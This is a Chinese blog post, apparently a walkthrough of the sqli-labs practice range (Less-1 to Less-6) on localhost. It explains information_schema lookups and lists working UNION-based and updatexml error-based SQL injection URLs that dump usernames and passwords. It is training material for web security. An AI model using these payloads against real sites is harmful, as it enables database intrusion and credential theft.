sqlilab本地靶场注入less-1~less-6

ops/2024/11/14 21:54:18/

如何通过information_schema数据库查表名,列名

首先要了解mysql和mariadb数据库默认自带的tables有哪些:

mariadb自带数据库
 information_schema 
 performance_schema 
 mysql  

MySQL自带数据库
 information_schema 
 performance_schema 
 mysql  
 sys
 test(可选,默认自带)

其中information_schema可以查到表名,列名,了解其过程:

use information_schema;        #切换当前数据库为information_schema

show tables;        #查看当前数据库内的表名

information_schema中要注意这三个表:tables,columns,schemata

首先我们desc这三个表,查看其具体表结构

查看tables表内的table_name,table_schema,发现name包括了所有数据库的表名,schema包括了所有表的所属数据库名--重复的很多

select table_name from tables;

select table_schema from tables;

 同tables,columns表内的column_name包括了所有表的列名,table_name,table_schema相同

 我们再查看schemata表,发现schema_name中包括了所有的数据库名

 所以可以通过where table_schema='security'来进行精确查找某数据库(security)的表名

 也可以通过where table_schema='security' and table_name = 'users'来精确查找某数据库内某表的列名

 至此,表名列名我们都获得了,就可以查看某数据库内某张表的具体数据了

sql简单注入

 个人理解:在url中写入sql语句同时绕过闭合字符,让mysql在数据库内执行该语句既是sql注入

通过order by语句列名排序可以用数字来代替列名,同时让数字超过列名数量,从而达成报错,可以得知当前表的列数,比如less-1中列数为3

 通过联合查询(表1 union 表2)来查看显示字段的是第几列

#表1和表2必须列数相同,如果表1无法显示,则会显示表2

 select 1,2,3创建显示简单表,但是2,3这些数字可以用函数来代替,而且会显示该函数执行结果

 如上图,可获得当前数据库名和当前用户

Less-1:#'id' --闭合字符为'  '

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

#其中group_concat()函数能将一列数据在一行内显示

 

less-2:    #id 相比less-1,缺少了'的闭合,即没有闭合字符

http://127.0.0.1/sqli/Less-2/?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+

less-3:    #('id')

http://127.0.0.1/sqli/Less-3/?id=0') union select 1,group_concat(username,0x3a,password),3 from users--+

less-4:    #(" id ")

http://127.0.0.1/sqli/Less-4/?id=0%22) union select 1,group_concat(username,0x3a,password),3 from users--+

less-5:    #'id' + 报错函数updatexml()可用

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+

#substr()函数可以显示一段字符串中,可以从哪个字符开始显示,往下显示多少个字符,从而解决updatexml()函数报错最多只能显示32个字符的问题

less-6:    #"id" + 报错函数可用

http://127.0.0.1/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+


http://www.ppmy.cn/ops/90014.html

相关文章

优化Apache Kylin性能:从调优到高效查询

优化Apache Kylin性能:从调优到高效查询 Apache Kylin 是一个开源的分布式分析引擎,能够提供超高速的查询能力,特别适用于大规模数据集上的多维分析(OLAP)。优化Kylin的性能对于确保其在大数据环境下的高效运行至关重…

ELK实现nginx、mysql、http的日志可视化实验

API接口: 软件内部代码之间通信的接口 代码的连接点 端口是对外提供访问程序的内容接口 filebeat: 1、可以在本机收集日志 2、也可以远程收集日志 3、轻量级的日志收集系统,可以在非java环境运行 logstash是在jvm环境中运行&#xff0c…

未授权访问漏洞系列

环境 1.此漏洞需要靶场vulhub,可自行前往gethub下载 2.需要虚拟机或云服务器等linux系统,并在此系统安装docker和docker-compose提供环境支持 3.运行docker-compose指令为docker-compose up -d即可运行当前目录下的文件 Redis未授权访问漏洞 一、进…

UE5 大鹅的点击移动 第三人称

文章目录 一、创建动画蓝图二、创建 Location 地标三、Character 和 PlayerControl 的控制四、实现效果 一、创建动画蓝图 这里以 UE5 从零开始制作跟随的大鹅-CSDN博客 创建的动态资产创建动画蓝图;需要用到的资产列表有:大鹅的骨骼网格体,…

2024 7.29~8.4 周报

一、上周工作 2024 7.22~7.28周报-CSDN博客 二、本周计划 修改论文 三、完成情况 3.1 论文修改 3.1.1 摘要 问题:所写问题是一般性的深度网络问题(过拟合),并没有针对FWI的问题(边缘不清晰、深层不清晰、速度慢…

解决VideoReader出现Thread worker: Error sending packet报错

问题现象:对于个别视频,单独读取该视频是正常,使用decord中的VideoReader读取会报如下的错误: [06:56:29] /github/workspace/src/video/ffmpeg/threaded_decoder.cc:292: [06:56:29] /github/workspace/src/video/ffmpeg/threade…

【Android】Kotlin实现选取相片拍照截图图片上传(兼容android 9-14)(超详细完整版)

需求 技术栈 : android 原生 & kotlin 1.6.20 需求 : ① 选取相片&拍照 ② 截图(CropImage) ③ 上传图片(含网络接口请求封装) 代码 一. build.gradle (Module: app) 配置依赖 // 网络请求implementation com.squareup.okhttp3:okhttp:4.9.0implementation "co…

Jmeter--http信息头管理器的使用(转载)

本文转载自: Jmeter—什么时候需要配置HTTP信息头管理器以及对应的参数如何输入_信息头管理器中的参数怎么调用-CSDN博客 1、抓包查看Request Headers(请求头)里Content-Type的信息,如下图: Content-Type的格式为&…